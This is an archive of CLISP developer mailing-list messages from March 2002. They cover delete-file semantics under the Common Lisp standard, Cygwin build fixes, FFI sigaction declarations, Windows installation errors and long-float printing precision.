> * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> 
> 2002-03-10  Peter Burwood  <clisp@peterb.org.uk>
> 
> 	* pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin.

committed -- thanks!
[Bruno, this fixes a cygwin-specific bug]

incidentally, why is CLISP implementing its own realpath?
is the system one known to be deficient in any way?

> According the CLHS, on delete-file
> 
>   delete-file filespec => t
> 
>   It is implementation-dependent whether an attempt to delete a
>   nonexistent file is considered to be successful.
> 
>   delete-file returns true if it succeeds, or signals an error of type
>   file-error if it does not.
> 
> Which means that delete-file cannot return NIL.  Clisp is
> non-conformant here,
yes.

> as is Clisp returning the pathname of the deleted file.

well, the pathname is "true", so this complies with the third paragraph
you site (but not with the first one).
I think returning the path of the deleted file is a useful extension
which cannot possibly break anything, but if you wish you may disable
it when *ansi* is T.

> A patch to delete-file is below.  I've chosen to make delete-file on a
> nonexistent file be an error.  You may disagree as it does change
> behaviour.

the main problem with CLISP is that it barfs when the dir is bad, but
returns NIL when the dir is good but the file is not there.
as you said, this is inconsistent.

I think that signaling an error should mean that "mission cannot be
accomplished" (e.g., permission problems).
I want CLISP to return the path of the file if it was found and
deleted (or T if *ansi* is T), T if the file was not found (for any
reason whatsoever) and signal an error when the file was found but could
not be deleted.
Could you please modify your patch to do this?
(or convince me that I am wrong :-)

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Hi,

please don't add yet another behaviour variant depending on the symbol-macro-variable *ANSI*! Returning a pathname is IMHO within the ANSI specification (keyword: generalized boolean).

> > According the CLHS, on delete-file
> >   delete-file filespec => t
> > 
> >   It is implementation-dependent whether an attempt to delete a
> >   nonexistent file is considered to be successful.
> > 
> >   delete-file returns true if it succeeds, or signals an 
> error of type
> >   file-error if it does not.

> > as is Clisp [non-conformant] returning the pathname of the deleted file.
> well, the pathname is "true", so this complies with the third 
> paragraph you site (but not with the first one).
> I think returning the path of the deleted file is a useful extension
> which cannot possibly break anything, but if you wish you may disable
> it when *ansi* is T.

No! let's stay serious. No more *ANSI* #ifdef. Prevent us from configuration nightmares. Let's keep software usable. Just stick to the third paragraph from CLHS (true means generalized boolean).

The CLHS says http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_t.htm#true
 "true n. any object that is not false and that is used to represent the success of a predicate test. See t[1]."
http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_g.htm#generalized_boolean
 "generalized boolean n. an object used as a truth value, where the symbol nil represents false and all other objects represent true. See boolean."


> I want CLISP to return the path of the file if it was found and
> deleted (or T if *ansi* is T), T if the file was not found (for any
> reason whatsoever) and signal an error when the file was 
> found but could not be deleted.

This "official" CLISP behaviour should then be sanctioned in impnotes so people know what to expect.
http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_i.htm#implementation-dependent
 "implementation-dependent adj. [...] A conforming implementation is encouraged (but not required) to document its treatment of each item in this specification which is marked implementation-dependent, [...]"

DELETE-FILE is not currently mentioned in the impnotes.

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	Jorg Hohle. 


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Hi,

> > o genclisph.exe and as a consequence clisp.h are not generated and
> > there's even no makefile target for them.
> > Did anyone ever build a module on MS-windows?
> 
> IIUC, you need add an interface to LoadLibrary (win32 version 
> of dlopen) to spvw.d:dynload_modules().
> Bruno proposed using libltdl from GNU libtool.

No, modules are usable on MS-Windows as well, even if possibly nobody ever did so. It's independent from the ability to load shared libraries via LoadLibrary() libtool, or dynload_modules. I built a module last week and wrote a nearly finished article this weekend, documenting how CLISP modules work and how to put them to use.

BTW, what's a good place to publish CLISP documentation or CLISP specific articles? I feel this is too specific for the cookbook.

> would you like to do this?
As I've laid out in my article on FFI design (a few people received drafts), I consider the addition of a dynamic loading facility and API not a trivial concept to define. Implementaion would be easy. There have been thoughts on this five years ago, and again in 1999. Nothing usable came yet out of this... Maybe I should take a worse is better approach -- again.

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	Jorg Hohle.


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Hi,

Peter Wood wrote:

> A peculiarity which may be a bug in the ffi was this: The sa_flags
> member in a sigaction structure is declared (in C) as an int.  However
> Clisp reported that it could not coerce SA_RESETHAND (reset to default
> handler) to an ffi:int. [...]
> SA_RESETHAND is defined as #x80000000.  Changing ffi:int to ffi:uint32
> in the ffi definition for the sigact struct solved the problem.  Why
> does it work in C if SA_RESETHAND is too large.  There may be a
> problem here, or am I missing something.

The essence is: get the C programmers to get their declarations right!
File a bug-report to Linux, Sun, BSD or whoever.

You know, "unsigned int" is just so much more to type than "int" :-( It's a typical C disease to say int when they mean unsigned, and int when they mean int32. At least, C people finally managed to provide size_t and offset_t as unsigned types!
0x8000000 is an unsigned AFAIK. It's typical of C not to complain that it doesn't fit into a *signed* 32bit int.

Don't even think of having CLISP silently coerce the range -2^31 to 2^32-1 into 0-2^32-1!
It will give you headaches as follows: on input, you may pass (- (expt 2 31)), but on return, you'll get (- (expt 2 32) -1), or vice versa. Then people will complain that (= input output) works in typical C code (minus a warning from better compilers) whereas it caused them hours of debugging Lisp code.

The C declaration is at fault, not Lisp, nor the FFI!
C programmers ought to use unsigned types whereever they makes sense, and esp. for bit masks.


> Obviously, the sigaction stuff has not been _rigorously_ tested.

Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input.

Sadly, there's no way to pass in a NULL pointer for :out parameters. You still need two different DEF-CALL-OUT forms for that.


>  You should probably be
> careful in case there is some unknown problem.

Bruno Haible should be able to comment upon the ability to run Lisp code from within a signal handler on the various UNIX platforms. It may get hairy.


> a sigaction struct can be (in C) either a pointer to a function, or an
> int! [...] If it was a
> c function, I would split it into 2 cases, for handling the different
> types, but what does one do when it's a struct!?
Good problem. ffi:c-union wont's help here, since CLISP says "Conversion to and from Lisp assumes that a value is to be viewed as being of c-type1."

It's a known (to me) FFI problem. What I had done in AFFI would have been to selectively dereference the slots. I believe this requires an extension to FOREIGN-VARIABLES in the current FFI. Redesign of the FFI is an open topic. FOREIGN-CALL-OUT should provide means to return FOREIGN-VARIABLE types instead of converting immediately to Lisp objects. Then you could use CAST and FOREIGN-VALUE.

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	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE70521652A@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] Re: Building CLISP for Windows: modules"
> * Sent on Mon, 11 Mar 2002 11:01:18 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> No, modules are usable on MS-Windows as well, even if possibly nobody
> ever did so. It's independent from the ability to load shared
> libraries via LoadLibrary() libtool, or dynload_modules. I built a
> module last week and wrote a nearly finished article this weekend,
> documenting how CLISP modules work and how to put them to use.

great!

> BTW, what's a good place to publish CLISP documentation or CLISP
> specific articles? I feel this is too specific for the cookbook.

this should go into the impnotes.
please see doc/impext.xml.

> > would you like to do this?
> As I've laid out in my article on FFI design (a few people received
> drafts), I consider the addition of a dynamic loading facility and API
> not a trivial concept to define. Implementaion would be easy. There
> have been thoughts on this five years ago, and again in 1999. Nothing
> usable came yet out of this... Maybe I should take a worse is better
> approach -- again.

I take it for a "yes" and awaiting patches. :-)

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Hi,

On Mon, Mar 11, 2002 at 01:18:20PM +0100, Hoehle, Joerg-Cyril wrote:

> The C declaration is at fault, not Lisp, nor the FFI!
> C programmers ought to use unsigned types whereever they makes sense, and esp. for bit masks.

OK :-)

> 
> 
> > Obviously, the sigaction stuff has not been _rigorously_ tested.
> 
> Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input.
> 

Here is the way I defined them, followed by the way I assume you are
saying c-ptr-null should be used, but which doesn't work!

(def-c-call-out sigaction-new
  (:name "sigaction")
  (:arguments (sig int)
	      (act (c-ptr sigaction) :in :alloca)
	      (null c-string)) ;nil
  (:return-type int))
;eg (sigaction SIGINT newhandler nil) => 0

(def-c-call-out sigaction-query
  ;if 2nd & 3rd args are null, query if signal SIG is valid
  (:name "sigaction")
  (:arguments (sig int)
	      (null c-string) ;nil
	      (null c-string)) ;null
  (:return-type int))
;eg (linux:sigaction-query linux:SIGINT nil nil) => 0

;;this _doesn't_ work

(def-c-call-out sigaction-new-or-query
  (:name "sigaction")
  (:arguments (sig int)
              (act (c-ptr-null sigaction) :in :alloca)
              (null c-string))
  (:return-type int))

I get an error on attempted compilation as follows:

***invalid ffi type (c-ptr-null sigaction)

I get the same error if I leave out the :in :alloca, and (other)
predictable errors when I use it in ways which don't conform to the
documentation.

And I don't know how else I could write it to make use of c-ptr-null.
The documentation says that c-ptr-null is like c-ptr but that C NULL
corresponds to Lisp NIL.  The 'declaration' is (c-ptr-null c-type)
according to the impnotes.

How should it be used?

Regards,
Peter


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> * In message <DFD875E85664D3118FA6080006277DE7052163FE@U8PN2>
> * On the subject of "[clisp-list] tiny suggestion about foreign1.lisp (FFI)"
> * Sent on Fri, 8 Mar 2002 10:58:11 +0100
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>
> :language defaults to :C (flag 512) for functions defined via
> (c-function ...).
> 
> I propose
> 1. document the default ("Choice of C flavour") in impnotes.html
> 2. change the default to :stdc (ANSI) instead of :C (K&R)

done.  DEF-C-CALL-* are now deprecated and the default should be set
using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE).
If no DEFAULT-FOREIGN-LANGUAGE form is given, a warning is issued and
:STDC is used.

> 3. please document what :stdc-stdcall means.

this is a dos/windows specific extension to :stdc, I think.
not really implemented :-)


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On Mon, Mar 11, 2002 at 06:50:22PM +0100, Peter Wood wrote:
> Hi,
> 
> On Mon, Mar 11, 2002 at 01:18:20PM +0100, Hoehle, Joerg-Cyril wrote:
> 

> > 
> > Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input.
> > 

And I replied with an incorrect assumption:

> 
> Here is the way I defined them, followed by the way I assume you are
> saying c-ptr-null should be used, but which doesn't work!

...

> ;;this _doesn't_ work
> 
> (def-c-call-out sigaction-new-or-query
>   (:name "sigaction")
>   (:arguments (sig int)
>               (act (c-ptr-null sigaction) :in :alloca)
>               (null c-string))
>   (:return-type int))
> 
> I get an error on attempted compilation as follows:
> 
> ***invalid ffi type (c-ptr-null sigaction)

But this does:

 (def-c-call-out sigaction-new-or-query
   (:name "sigaction")
   (:arguments (sig int)
               (act (c-ptr-null nil) :in :alloca)
               (null c-string))
   (:return-type int))

And the reason I was getting the error message described, was that I
had forgotten to add c-ptr-null to the list of substitutions in
linux.lisp.  AAAAARGH.

Thanks for your suggestions - this has also solved (one of the)
problems which I am having in a module I am writing.

Regards,
Peter




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Sam Steingold <sds@gnu.org> writes:

> > * In message <wkwuwlnm26.fsf@peterb.org.uk>
> > * On the subject of "Re: gethostent does not exist in cygwin"
> > * Sent on 10 Mar 2002 03:22:57 +0000
> > * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> > 
> > > $ make -f Makefile.devel src/configure
> > 
> > but if not, when should which targets in Makefile.devel be made before
> > just calling ./configure?
> 
> look at the dependencies in Makefile.devel.

For a once off, this is ok. However, it is not really workable when
using cvs up as it would require examing the update which files have
changed.

> I wonder if these should be reflected in the makefile produced by
> makemake...

Sounds useful. Can you do this please?

Peter




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I try to install CLISP 2.28 on my Windows 98 system.

But 
  [1]> (compile-file "src/config.lisp")

results in:
  Compiling file C:\P\CLISP\clisp-2.28\src\config.lisp ...
  ** - Continuable Error
  INTERN("FILE"): #<PACKAGE EXT> is locked
  If you continue (by typing 'continue'): Ignore the lock and proceed
  1. Break EXT[2]>

I am able to continue (and , but then the next command
  (load "src/config.fas")
leads to uncontinuable errors:

  1. Break EXT[2]> continue

  Compilation of file C:\P\CLISP\clisp-2.28\src\config.lisp is finished.
  0 errors, 0 warnings
  #P"C:\\P\\CLISP\\clisp-2.28\\src\\config.fas" ;
  NIL ;
  NIL
  [3]> (load "src/config.fas")
  ;; Loading file src\config.fas ...
  ** - Continuable Error
  DEFUN/DEFMACRO(SHORT-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
  If you continue (by typing 'continue'): Ignore the lock and proceed
  1. Break EXT[4]>

Can anyone explain and help?

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if:

(setf (ext:long-float-digits) 3322)  ;;clisp -- make long-float have 1000
digits

(defparameter *x1* 0.0L0)
(defparameter *x2* 0.0L0)

(declaim (type long-float *x1* *x2*))

(setf *x1*
0.12345671234567123456712345671234567123456712345671234567123456712345671234
5671234567123456712345671234567L0)
(setf *x2*
0.32132132132132132132132132132132132132132132132132132132132132132132132132
1321321321321321321321321321321L0)


why does (format t "~52,50F" *x1*) =>
0.12345671234567123457000000000000000000000000000000

I am thinking no zeros should show up?

when I  (the long-float (+ *x1*  *x2*)) its seems the answer is truncated
where those zeroes begin.

[8]> (the long-float (+ *x1* *x2*))
0.4447780336669925559L0

what am I doing wrong? 

thank you,
Keith


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> * In message <3C8D33C5.19419C62@chello.at>
> * On the subject of "[clisp-list] CLISP-2.28 Win98 Installation Problem"
> * Sent on Mon, 11 Mar 2002 23:46:29 +0100
> * Honorable Helmut Leitner <helmut.leitner@chello.at> writes:
>
> I try to install CLISP 2.28 on my Windows 98 system.
> 
> But 
>   [1]> (compile-file "src/config.lisp")

this step is optional.

> results in:
>   Compiling file C:\P\CLISP\clisp-2.28\src\config.lisp ...
>   ** - Continuable Error
>   INTERN("FILE"): #<PACKAGE EXT> is locked
>   If you continue (by typing 'continue'): Ignore the lock and proceed
>   1. Break EXT[2]>
> 
> I am able to continue (and , but then the next command
>   (load "src/config.fas")
> leads to uncontinuable errors:

where?

>   1. Break EXT[2]> continue
> 
>   Compilation of file C:\P\CLISP\clisp-2.28\src\config.lisp is finished.
>   0 errors, 0 warnings
>   #P"C:\\P\\CLISP\\clisp-2.28\\src\\config.fas" ;
>   NIL ;
>   NIL
>   [3]> (load "src/config.fas")
>   ;; Loading file src\config.fas ...
>   ** - Continuable Error
>   DEFUN/DEFMACRO(SHORT-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
>   If you continue (by typing 'continue'): Ignore the lock and proceed
>   1. Break EXT[4]>
> 
> Can anyone explain and help?

this is continuable too!

Please see <http://clisp.cons.org/impnotes.html#pack-lock> for
information on package locking.

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Sam Steingold <sds@gnu.org> writes:

> > * In message <wkwuwkqfe4.fsf@peterb.org.uk>
> > * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution"
> > * Sent on 10 Mar 2002 21:30:59 +0000
> > * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
> >
> > Sam Steingold <sds@gnu.org> writes:
> > 
> > 
> > 2002-03-10  Peter Burwood  <clisp@peterb.org.uk>
> > 
> > 	* pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin.
> 
> committed -- thanks!
> [Bruno, this fixes a cygwin-specific bug]
> 
> incidentally, why is CLISP implementing its own realpath?
> is the system one known to be deficient in any way?

Well the Cygwin version is not equivalent to the CLISP one and is
arguably broken. Perhaps years ago when realpath was written it was
unusual to find it in the library. I presume a suitable set of tests
could be written for configure to decide whether the OS implementation
is sufficient.

> > According the CLHS, on delete-file
> > 
> >   delete-file filespec => t
> > 
> >   It is implementation-dependent whether an attempt to delete a
> >   nonexistent file is considered to be successful.
> > 
> >   delete-file returns true if it succeeds, or signals an error of type
> >   file-error if it does not.
> > 
> > Which means that delete-file cannot return NIL.  Clisp is
> > non-conformant here,
> yes.
> 
> > as is Clisp returning the pathname of the deleted file.
> 
> well, the pathname is "true", so this complies with the third paragraph
> you site (but not with the first one).

Yes, I ignored this, because of the t earlier.

> I think returning the path of the deleted file is a useful extension
> which cannot possibly break anything, but if you wish you may disable
> it when *ansi* is T.

I included this change because I was changing the other exit points of
delete-file. Really, this extension was okay with me.

> > A patch to delete-file is below.  I've chosen to make delete-file on a
> > nonexistent file be an error.  You may disagree as it does change
> > behaviour.
> 
> the main problem with CLISP is that it barfs when the dir is bad, but
> returns NIL when the dir is good but the file is not there.
> as you said, this is inconsistent.
> 
> I think that signaling an error should mean that "mission cannot be
> accomplished" (e.g., permission problems).
> I want CLISP to return the path of the file if it was found and
> deleted (or T if *ansi* is T), T if the file was not found (for any
> reason whatsoever) and signal an error when the file was found but could
> not be deleted.

Returning T if the file was not found would change current behaviour.
I also consider it misleading as no file was deleted, so delete-file
returning true would be a lie, yet it is allowed by the CLHS.  I
wonder why the CLHS is written so that delete-file returns only T and
not T or NIL?

The wish "T if the file was not found (for any reason whatsover)"
would also mean that the the only the Cygwin implementation pre my fix
in realpath was conformant and the test in excepsit.tst would need
changing from FILE-ERROR to T.

That is

  (with-open-file (s "/tmp/foo35.tmp" :direction :output))
  (delete-file "/tmp/foo35.tmp/bar")
    -> T

since there is no permissions error.  Are you happy with T here?

> Could you please modify your patch to do this?
> (or convince me that I am wrong :-)

Well, Jorg is unhappy about the ansi addition and I abstain from it.
I also think my points above need considering before making another
change. Once we've agreed on the correct behaviour, I'll make the change.

I propose

  delete-file filespec => generalised boolean

    returns the pathname if the file was successfully deleted.
    signals FILE-ERROR if there was a permissions failure.

Which of the alternatives would you like

    returns T if the file was not found and pathname-directory was valid.
    signals FILE-ERROR if the pathname-directory was invalid.

or

    returns T if the file was not found

I cannot see why an invalid directory should be treated specially and
return FILE-ERROR while file not found returns T, so I prefer the
latter.

Peter




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At 12:01 3/10/2002 -0800, clisp-list-request@lists.sourceforge.net wrote:
>It compiles on msvc and my HTTP-getter works with it.
Hello Arseny

could you share the http-getter with us so that I can test the IPV6 mod on 
Cygwin?

It compiles fine (the second patch from Sam) but I also don't know of an 
easy way to test the socket code.

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<html>
Hello,<br><br>
I tried to compile the latest clisp-dev on&nbsp; cygwin to check the
various pathname fixes.<br><br>
Unfortunately the makefile tried to execute something like<br>
<font face="Courier New, Courier">Makefile : makemake<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>./makemake
--with-readline --with-gettext --with-dynamic-ffi &gt;
Makefile.tmp<br><br>
and cygwin complained about the ./makemake.<br><br>
Why is this a ./makemake and not a simple makemake?<br><br>
Karsten</font></html>



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> * In message <b8b43a480174294770927c4072437f763c8d3672@ssd.fsi.com>
> * On the subject of "[clisp-list] long-float"
> * Sent on Mon, 11 Mar 2002 16:59:48 -0600
> * Honorable "Rehm, Keith" <keithr@SSD.FSI.com> writes:
>
> why does (format t "~52,50F" *x1*) =>
> 0.12345671234567123457000000000000000000000000000000

cannot reproduce:

[7]> (setf (ext:long-float-digits) 3322)
3322
[8]> (setf *x1* 0.123456712345671234567123456712345671234567123456712345671234567123456712345671234567123456712345671234567L0)
0.123456712345671234567123456712345671234567123456712345671234567123456712345671234567123456712345671234567L0
[9]> (format t "~52,50F" *x1*)
0.12345671234567123456712345671234567123456712345671

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> * In message <wkk7sir98k.fsf@peterb.org.uk>
> * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution"
> * Sent on 11 Mar 2002 23:10:51 +0000
> * Honorable Peter Burwood <clisp@peterb.org.uk> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> I propose
> 
>   delete-file filespec => generalised boolean
> 
>     returns the pathname if the file was successfully deleted.
>     signals FILE-ERROR if there was a permissions failure.
> 
> Which of the alternatives would you like
> 
>     returns T if the file was not found and pathname-directory was valid.
>     signals FILE-ERROR if the pathname-directory was invalid.

yes.

>     returns T if the file was not found

no.

> I cannot see why an invalid directory should be treated specially and
> return FILE-ERROR while file not found returns T, so I prefer the
> latter.

the invariant is that if (delete-file filespec) returned T, then the
file filespec does not exist.
thus, is we deleted it, we can return its truename.
if we looked and it was not there, we return T.
but if we looked and could not get there, we have to barf because we do
not really know what went wrong.
E.g., /foo/bar/baz: if we cannot stat bar or foo, we cannot find out
whether baz is there.

another thing is that it is a good idea not to deviate from other CL
implementations gratuitously.

CMUCL appears to barf whenever no delete action was performed for
whatever reason.

what about ACL? LW? CCL?

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hallo


> DELETE-FILE is not currently mentioned in the impnotes.

I found this in the ../HyperSpec/Body/fun_delete-file.html

...............
Description:

Deletes the file specified by filespec. 

If the filespec designator is an open stream, then filespec and the file
associated with it are affected (if the file system permits), in which
case filespec
might be closed immediately, and the deletion might be immediate or
delayed until filespec is explicitly closed, depending on the
requirements of the file
system. 

It is implementation-dependent whether an attempt to delete a
nonexistent file is considered to be successful. 

delete-file returns true if it succeeds, or signals an error of type
file-error if it does not. 

The consequences are undefined if filespec has a wild component, or if
filespec has a nil component and the file system does not permit a nil
component.
................


> No! let's stay serious. No more *ANSI* #ifdef. 
> Prevent us from configuration nightmares.
> Let's keep software usable.


please do so.

stefan




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When I struggled with compiling config.lisp I saw the
file
   install.bat
and wondered about its function. 

BTW it doesn't work the way it is, because install.bat
contains only LF as line-separators, so the content is
seen by DOS as one long echo command that does nothing. 

When one isolates the only real command:
   lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp

It results in an error:

   [pathname.d:7947]
   *** - Win32 error 161 (ERROR_BAD_PATHNAME): The specified path is invalid.

Can someone explain or help?

BTW is there a way to get at the offending pathname and/or 
source file line number in such an error situation?

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Hello Helmut,

Tuesday, March 12, 2002, 5:05:23 PM, you wrote:

Helmut> When I struggled with compiling config.lisp I saw the
Helmut> file
Helmut>    install.bat
Helmut> and wondered about its function. 

Helmut> BTW it doesn't work the way it is, because install.bat
Helmut> contains only LF as line-separators, so the content is
Helmut> seen by DOS as one long echo command that does nothing. 

Helmut> When one isolates the only real command:
Helmut>    lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp

Helmut> It results in an error:

Helmut>    [pathname.d:7947]
Helmut>    *** - Win32 error 161 (ERROR_BAD_PATHNAME): The specified path is invalid.

Helmut> Can someone explain or help?

I think you use windows 95 or 98, because in NT

a) LF's are understanded
b) Another error message appears:
   *** - A file with name src\install.lisp does not exist
   which is strange and should be investigated. Maybe it's
   caused by latter changes in pathname.d, not OS.

   
install.bat should be used for installing files in distributive set,
not in sources. You may create src directory and copy install.lisp
there.
   


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Hi,

On Tue, Mar 12, 2002 at 09:28:53AM +0100, Hoehle, Joerg-Cyril wrote:
> Peter,
> 
> now I'm confused.

My apologies.

> 
> >              (act (c-ptr-null sigaction) :in :alloca)
> This is exactly the replacement I meant.
> It doesn't work?
>

It does.  oops.  
 
> 
> > But this does:
> > 
> >  (def-c-call-out sigaction-new-or-query
> >    (:name "sigaction")
> >    (:arguments (sig int)
> >                (act (c-ptr-null nil) :in :alloca)
> >                (null c-string))
> >    (:return-type int))
> How can this work as sigaction-new? You cannot pass in a new sigaction structure.
> 

It just sets the handler to nil.  Sorry. It was late when I wrote the
mail, and I had tested it only as far as calling the function.  I did
not check to see that the handler was actually installed.

> > And the reason I was getting the error message described, was that I
> > had forgotten to add c-ptr-null to the list of substitutions in
> > linux.lisp.
> ??
> 

In linux.lisp, there is a constant 'substitution' which is a list
pairing functions in "LINUX" with a substitution in "LISP" or "FFI".
It looks like this:

(eval-when (compile-eval)
  (defconstant substitution
   '((linux::aref . lisp:aref)
     ..etc..
     (linux::c-ptr . ffi:c-ptr)
     ..etc..)))

There was none for c-ptr-null.  I have just rechecked that.  You will
also find that there is no use of c-ptr-null in linuxlibc6.  I have
just recompiled linux.lisp without the substitution for c-ptr-null,
and I get the old error.  With a line for c-ptr-null, the error
disappears.

> Regards,
> 	Jorg Hohle. 
> 

Regards,
Peter


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The FAS file format changes when the bytecode spec changes (rarely) or
when the signature of the 512 functions in FUNTAB1 & FUNTAB2 (eval.d)
changes.
E.g., in 2.28, WRITE, WRITE-TO-STRING and MAKE-HASH-TABLE were changed,
so this required FAS recompile.

(This is part of the reason I wanted weak HTs in 2.28 - so that the next
release will not require a FAS recompile.  I do realize that the users
hate this, and I try to minimize it.)

Adding another built-in does not require a full recompile.

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Hi,

I summarized some known deficiencies of the current FFI and possible exits =
(sketch of proposals). Please contribute!

o Arrays of variable size are not supported.
C-ARRAY-MAX helps but doesn't cover all needs.
IDL/COM's size_is() annotation would cover many situations.
In Haskell (and COM), they say something along:
gethostname([out,size_is(len)] cstring name,
            [] int len); TODO in/out??
Examples of use: COM of course, regerror's errbuf_size, regexec's nmatch, T=
ODO others
TODO: exact specification when used with :out or :in-out or possibly differ=
ent mode for the length and the array parameters
TODO: interaction with *foreign-encoding*
PROPOSAL: Add size_is ability to function declaration. Needs working out (b=
ut exists in Haskell, COM etc.). Quite some work (typical danger of "better=
 is worse" 100% solution).

Short-time work-around: my redefine-foreign-function hack

o Kevin Rosenberg is currently releasing the universal FFI (UFFI): a single=
 API that supports AllegroCL, Lispworks and CMUCL.
http://www.med-info.com/uffi.shtml
One may consider it a threat to CLISP, as it operates at a low level of abs=
traction that the CLISP FFI does not provide. Quite on the contrary, both t=
he CLISP and CMUCL FFI try to abstract away from the low level that e.g. Al=
legroCL and UFFI use. CMUCL provides access to both levels. CLISP and CMUCL=
's provide :out etc. and are rather declarative in nature, whereas other in=
terfaces let you feel like a C programmer in Lisp syntax, working on pointe=
rs.

This is IMHO a "worse is better" dilemma: low-level interfaces are easy to =
write, and programmers used to C know how to use them. OTOH, high-level int=
erfaces must be *designed* first, and the designer is constantly at risk th=
at his/her design is unusable and hides away required flexibility, by captu=
ring too few usage scenarios (cf. variable sized arrays).

From my feelings, I cannot recommend to provide a low-level FFI for CLISP t=
hat UFFI could directly map to. My feeling is that the more declarative, th=
e better. It should be the other way round: an UFFI should provide a very h=
igh level, declarative interface. This one could be expanded into a set of =
macros and functions for all possible implementations. Mapping UFFI or Alle=
gro's FFI to CLISP's would require involved program analysis and even not s=
tatically visible information about the behaviour of the foreign functions.=
 Yet maybe nobody will come up with such a high level FFI API for Lisp.

A true case of worse is better (cf. in http://www.paulgraham.com/thist.html=
 the success of T and the failure of NIL).


o VALIDP could be made SETF'able. Maybe this should be restricted to allow =
invalidation only.
Currently, some code uses
  (when (validp compiled-pattern)
    (mregfree compiled-pattern)))
PROPOSAL: code could benefit from the addition of
   (setf (validp compiled-pattern) nil)
or (mark-invalid compiled-pattern)
I feel (setf (validp #) T) quite unsafe. But again, in what name am I
limiting people's freedom? The current FFI does too much of this already.

Observation:
+ The following 3 limitations come from trying to provide access to C idiom=
s. C++, CORBA, COM, Java or other language interfaces don't have such weird=
 requirements and use very regular interfaces. COM requires variable sized =
arrays though (via the size_is annotation).

o No choice for initialization of c-union types
Example: sigaction slot TODO can either be an int or a pointer to a handler=
.
PROPOSAL: use FOREIGN-VARIABLE objects and CAST as needed. FOREIGN-VARIABLE=
 is IMHO nearly unusable in the current FFI. Invent functions or macros to =
make them usable.

o Variable argument types
e.g. ioctl or sigaction (SIG_IGN vs handler)

o No malloc or free directly available
Consider the following function
int switch_port(char **name);
On entry, name points to a malloc'ed buffer. The buffer contents must stay =
valid until another name is selected.
On (successfu)l return, name points to another buffer containing the previo=
us port name. This old buffer may then be free'ed.
PROPOSAL: I may be able to provide hacks (mostly Lisp-level) that provide m=
alloc and free. So people could experiment. Yet the current FFI that they s=
hould rarely be needed. OTOH, they may be needed more with delayed derefere=
ncing (see below) which requires more work under programmer's control.

o FFI dereferences everything function returns.
Only C-POINTER is available to prevent this, e.g. module regexp, but then f=
oreign structure is really opaque.
PROPOSAL: would IMHO involve FOREIGN-VARIABLE types, as they feature exactl=
y what is needed: a pair of FOREIGN-ADDRESS and type information. Access ca=
n be made as needed.
TODO: how to declare this "mode"?

o Danger of dereferencing out parameters when function returns failure
(cf various mails from me) Same problem as above, same solution: delay

o FFI is too picky about some types. E.g. type C-POINTER only accepts passi=
ng a FOREIGN-ADDRESS, but not FOREIGN-VARIABLE or FOREIGN-FUNCTION although=
 these are built upon FOREIGN-ADDRESS.
TODO: investigate need

o FFI copies everything on stack, or via malloc
TODO how would allocation :none work with strings?
E.g. each call to regexp-exec duplicates the string to be searched for. It =
can be huge (MB range)!
A more performant interface would attempt to work in place, on Lisp objects=
, which is not possible with the FFI. TODO Is it actually possible to work =
in place with Unicode strings?

(For module regex, working in place would need to use re_search or re_searc=
h_2() instead of regexec(), since the latter doesn't allow to specify a sto=
p position and calls strlen.)

Thanks for sharing comments,

Regards,
=09J=F6rg H=F6hle.


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I just noticed it does that other behavior when I compile first. That is,
if:

	(setf (ext:long-float-digits) 3322)
	(setf *x1*
0.12345671234567123456712345671234567123456712345671234567123456712345671234
5671234567123456712345671234567L0)

are in a file which is compiled and loaded, typing:

	(format t "~52,50F" *x1*)

does not show full *x1*.


If I just load the file with those definitions things work as expected (as
you've shown).

Is that CLISP design intent?

Is *x1* being defined differently according to whether the compiler was
used?

Thanks,
Keith







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> * In message <b8b43a480174294770927c4072437f763c8d3672@ssd.fsi.com>
> * On the subject of "[clisp-list] long-float"
> * Sent on Mon, 11 Mar 2002 16:59:48 -0600
> * Honorable "Rehm, Keith" <keithr@SSD.FSI.com> writes:
>
> why does (format t "~52,50F" *x1*) =>
> 0.12345671234567123457000000000000000000000000000000

cannot reproduce:

[7]> (setf (ext:long-float-digits) 3322)
3322
[8]> (setf *x1*
0.12345671234567123456712345671234567123456712345671234567123456712345671234
5671234567123456712345671234567L0)
0.12345671234567123456712345671234567123456712345671234567123456712345671234
5671234567123456712345671234567L0
[9]> (format t "~52,50F" *x1*)
0.12345671234567123456712345671234567123456712345671

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> * In message <fd6bd873a96e0412b304ac0a086d7bf33c8e27e7@ssd.fsi.com>
> * On the subject of "RE: [clisp-list] long-float"
> * Sent on Tue, 12 Mar 2002 10:10:00 -0600
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> I just noticed it does that other behavior when I compile first. That is,
> if:
> 
> 	(setf (ext:long-float-digits) 3322)
> 	(setf *x1*
> 0.12345671234567123456712345671234567123456712345671234567123456712345671234
> 5671234567123456712345671234567L0)
> 
> are in a file which is compiled and loaded, typing:
> 
> 	(format t "~52,50F" *x1*)
> 
> does not show full *x1*.

I suggest that you have a look at your compiled FAS file, then wrap the
